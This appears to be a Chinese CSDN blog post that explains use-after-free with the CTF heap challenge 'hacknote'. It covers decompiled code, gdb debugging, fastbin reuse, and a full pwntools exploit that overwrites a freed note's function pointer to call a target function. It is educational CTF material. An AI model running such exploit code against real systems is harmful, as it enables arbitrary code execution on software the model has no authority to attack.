Use After Free

本文详细介绍了UseAfterFree漏洞的概念,通过分析一个名为hacknote的程序,展示了如何在删除功能中因free后未置指针为NULL而导致的野指针问题。接着,解释了Add功能中内存的分配过程,并提出了利用该漏洞的策略,即通过修改已释放chunk的puts指针来执行任意函数。最后,给出了利用漏洞的exploit代码片段。
摘要由CSDN通过智能技术生成
  • Author:ZERO-A-ONE
  • Date:2021-07-05

一、概念

Use after free:顾名思义,某块内存在释放后还能被用户使用;一般存在于,free后没有将指针置为NULL,导致野指针的存在

二、例题

2.1 hacknote

我们先检查一下这个程序

(base) syc@ubuntu:~/Desktop/unlink/hacknote$ checksec hacknote 
[*] '/home/syc/Desktop/unlink/hacknote/hacknote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以发现没有开启PIE,给UAF的利用留下了漏洞

我们发现这是一题常规的菜单题

int sub_8048956()
{
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}
void __cdecl __noreturn main()
{
  int v0; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v0 = atoi(&buf);
      if ( v0 != 2 )
        break;
      Delete();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        print();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v0 != 1 )
        goto LABEL_13;
      Add();
    }
  }
}

一共有四个功能:

  • Add:添加一个
  • Delete:删除一个
  • Print:打印
  • Exit:退出
2.1.1 Delete

我们看一下删除功能

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

我么可以发现free并没有将指针清零0,导致了野指针的存在,也就是存在Use After Free

2.1.2 Add

我们看一下Add的功能

unsigned int sub_8048646()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !notelist[i] )
      {
        notelist[i] = malloc(8u);
        if ( !notelist[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)notelist[i] = print_note_content;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = notelist[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)notelist[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)notelist[i] + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}
  • 先申请一个大小为8byte的chunk0,将其地址放入notelist[i]中
  • 再申请自己规定字节大小的chunk1,将其地址放入第一次申请的chunk0的content中
  • 第一次申请的8byte的chunk0的put处存放print_note_content函数地址content处存放第二次申请的chunk1的地址
  • 我们后面写内容是往第二次申请的chunk1中填写的

我们可以简单来看一下每一个 note 生成的具体流程

  1. 程序申请 8 字节内存用来存放 note 中的 put 以及 content 指针。

  2. 程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。

       +-----------------+                       
       |   put           |                       
       +-----------------+                       
       |   content       |       size              
       +-----------------+------------------->+----------------+
                                              |     real       |
                                              |    content     |
                                              |                |
                                              +----------------+
    

假设我们申请了一个32byte的chunk1,往里面填写’aaaa’,最终会达到这样一个效果
在这里插入图片描述

2.1.3 Print

print_note 就是简单的根据给定的 note 的索引来输出对应索引的 note 的内容

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
    notelist[v1]->put(notelist[v1]);
  return __readgsdword(0x14u) ^ v3;
}
2.1.4 调试

我们可以在0x8048A7C的位置设置一个断点查看,然后申请一个内存
在这里插入图片描述

然后可以发现我们成功申请了一个堆块,而且第一个内容指向了puts,第二个内容指向了我们的内容
在这里插入图片描述

因为没有开启PIE所以我们可以知道notelist[1]放在0x804A050里
在这里插入图片描述

在这里插入图片描述

然后我们将其释放掉
在这里插入图片描述

我们可以发现指针依然存在着
在这里插入图片描述

所以我们可以利用这个UAF

2.1.5 利用

那我们只需要劫持一个content的puts指针位就好

那么,根据我们之前在堆的实现中所学到的,显然 note 是一个 fastbin chunk(大小为 16 字节)。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址,那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下

  • 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 释放 note0
  • 释放 note1
  • 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  • 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
  • note2 其实会分配 note1 对应的内存块。
  • real content 对应的 chunk 其实是 note0。
  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数

常见的先编写函数

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

在申请完资源后下一个断点,可以发现的确申请了两个大小为0x10的堆块,两个为0x28的堆块
在这里插入图片描述

然后在释放我们查看一下,都已经释放了加入fastbin的列表
在这里插入图片描述

我们可以知道

  • 0x87ef000:notelist[0].puts

  • 0x87ef010:notelist[1].puts

  • 0x87ef038:notelist[0].content

  • 0x87ef048:notelist[1].content

如果我们可以获得其中一个notelist的puts指针的修改我们就可以达到目标了, 根据分配规则我们可以知道只要我们申请一个大小为8的notelist,系统就会从fastbin列表中同时取出两个大小为0x10的chunk,届时:

  • 0x87ef010:new_notelist[0].puts
  • 0x87ef000:new_notelist[0].content

我们就可以通过新的notelist修改掉旧的notelist[0].puts,然后再利用之前notelist[0]的指针执行print功能就会调用新修改后的nnew_notelist[0].content,执行任意函数了
在这里插入图片描述

我们发现确实修改成特定地址了,完整的EXP如下:

from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
local = 1
elf = ELF('./hacknote')
if local:
    p = process('./hacknote')
    libc = elf.libc
else:
    p = remote('172.16.229.161',7001)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def addnote(size, content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)


def delnote(idx):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))


def printnote(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
debug(0)
delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值